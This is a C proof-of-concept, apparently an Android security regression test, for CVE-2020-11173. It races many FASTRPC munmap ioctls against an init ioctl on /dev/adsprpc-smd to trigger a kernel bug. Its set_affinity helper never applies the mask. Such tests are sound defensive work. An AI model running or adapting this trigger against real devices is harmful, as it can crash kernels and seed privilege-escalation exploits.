You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
195 lines
3.8 KiB
195 lines
3.8 KiB
/*
|
|
* CVE-2020-11173
|
|
*/
|
|
|
|
#define _GNU_SOURCE
|
|
|
|
#include <fcntl.h>
|
|
#include <linux/futex.h>
|
|
#include <pthread.h>
|
|
#include <stdlib.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/syscall.h>
|
|
#include <unistd.h>
|
|
|
|
#include "../includes/common.h"
|
|
#include "local_poc.h"
|
|
|
|
#define ION "/dev/ion"
|
|
#define DEV "/dev/adsprpc-smd"
|
|
|
|
#define SLEEP 0
|
|
#define ATTACK 1
|
|
#define CPU_CNT 8
|
|
#define THREAD_CNT 22
|
|
|
|
static int dev_fd;
|
|
static volatile int run;
|
|
static volatile int dma_fd;
|
|
static volatile int online;
|
|
static volatile int attack;
|
|
|
|
static int set_affinity(int cpu) {
|
|
int ret = -1;
|
|
cpu_set_t mask;
|
|
CPU_ZERO(&mask);
|
|
CPU_SET(cpu, &mask);
|
|
return ret;
|
|
}
|
|
|
|
void wait_threads(int count) {
|
|
time_t th_timer = start_timer();
|
|
while (timer_active(th_timer)) {
|
|
if (online == count)
|
|
break;
|
|
usleep(1000);
|
|
}
|
|
}
|
|
|
|
static int ion_alloc(int size) {
|
|
int ion_fd;
|
|
int ret = -1;
|
|
struct ion_allocation_data alloc_data;
|
|
|
|
ion_fd = open("/dev/ion", O_RDONLY);
|
|
if (ion_fd < 0) {
|
|
return ret;
|
|
}
|
|
|
|
alloc_data.len = size;
|
|
alloc_data.heap_id_mask = ION_HEAP(ION_ADSP_HEAP_ID);
|
|
alloc_data.flags = ION_FLAG_CP_TOUCH;
|
|
ret = ioctl(ion_fd, ION_IOC_ALLOC, &alloc_data);
|
|
if (ret < 0) {
|
|
close(ion_fd);
|
|
return ret;
|
|
}
|
|
close(ion_fd);
|
|
return alloc_data.fd;
|
|
}
|
|
|
|
void *init_thread(void *data) {
|
|
int cpu = (int)(unsigned long)data;
|
|
struct fastrpc_ioctl_init init = {0};
|
|
|
|
init.filefd = dma_fd;
|
|
init.filelen = PAGE_SIZE;
|
|
init.mem = (void *)0xdeadbeef;
|
|
init.flags = FASTRPC_INIT_CREATE;
|
|
|
|
set_affinity(cpu);
|
|
|
|
__sync_fetch_and_add(&online, 1);
|
|
syscall(SYS_futex, &attack, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
|
|
ioctl(dev_fd, FASTRPC_IOCTL_INIT, &init);
|
|
run = 0;
|
|
return NULL;
|
|
}
|
|
|
|
void *unmap_thread(void *data) {
|
|
int cpu = (int)(unsigned long)data;
|
|
struct fastrpc_ioctl_munmap_fd unmap = {0};
|
|
|
|
unmap.va = 0;
|
|
unmap.fd = dma_fd;
|
|
unmap.len = PAGE_SIZE;
|
|
|
|
set_affinity(cpu);
|
|
|
|
__sync_fetch_and_add(&online, 1);
|
|
syscall(SYS_futex, &attack, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
|
|
while (run) {
|
|
ioctl(dev_fd, FASTRPC_IOCTL_MUNMAP_FD, &unmap);
|
|
usleep(500);
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
int trigger(void) {
|
|
int i;
|
|
int ret = -1;
|
|
int th_cnt = 0;
|
|
int cid = 3;
|
|
|
|
pthread_t init_th;
|
|
pthread_t unmap_th[THREAD_CNT] = {0};
|
|
struct fastrpc_ioctl_init_attrs init;
|
|
|
|
dev_fd = open(DEV, O_RDONLY);
|
|
if (dev_fd < 0) {
|
|
return ret;
|
|
}
|
|
|
|
ret = ioctl(dev_fd, FASTRPC_IOCTL_GETINFO, &cid);
|
|
if (ret < 0) {
|
|
goto out_dev;
|
|
}
|
|
|
|
init.init.filelen = 1024 * 1024;
|
|
init.init.memlen = 2 * 1024 * 1024;
|
|
init.init.flags = 0;
|
|
ret = ioctl(dev_fd, FASTRPC_IOCTL_INIT_ATTRS, &init);
|
|
if (ret < 0) {
|
|
goto out_dev;
|
|
}
|
|
|
|
dma_fd = ion_alloc(PAGE_SIZE);
|
|
if (dma_fd < 0) {
|
|
ret = -1;
|
|
goto out_dev;
|
|
}
|
|
|
|
run = 0;
|
|
attack = SLEEP;
|
|
online = 0;
|
|
for (i = 0; i < THREAD_CNT / 2; i++) {
|
|
ret = pthread_create(unmap_th + i, NULL, unmap_thread,
|
|
(void *)(unsigned long)(i % CPU_CNT));
|
|
if (ret < 0) {
|
|
continue;
|
|
}
|
|
th_cnt++;
|
|
}
|
|
pthread_create(&init_th, NULL, init_thread, (void *)(unsigned long)0);
|
|
th_cnt++;
|
|
|
|
for (i = THREAD_CNT / 2; i < THREAD_CNT; i++) {
|
|
ret = pthread_create(unmap_th + i, NULL, unmap_thread,
|
|
(void *)(unsigned long)(i % CPU_CNT));
|
|
if (ret < 0) {
|
|
continue;
|
|
}
|
|
th_cnt++;
|
|
}
|
|
|
|
wait_threads(th_cnt);
|
|
run = 1;
|
|
attack = ATTACK;
|
|
syscall(SYS_futex, &attack, FUTEX_WAKE_PRIVATE, INT_MAX, NULL, NULL, 0);
|
|
pthread_join(init_th, NULL);
|
|
for (i = 0; i < THREAD_CNT; i++) {
|
|
if (unmap_th[i] != 0) {
|
|
pthread_join(unmap_th[i], NULL);
|
|
}
|
|
}
|
|
|
|
out_dev:
|
|
close(dev_fd);
|
|
return ret;
|
|
}
|
|
|
|
int main() {
|
|
int ret = -1;
|
|
time_t reg_timer = start_timer();
|
|
while (timer_active(reg_timer)) {
|
|
ret = trigger();
|
|
if (ret < 0) {
|
|
return EXIT_FAILURE;
|
|
}
|
|
if (ret) {
|
|
break;
|
|
}
|
|
}
|
|
return EXIT_SUCCESS;
|
|
}
|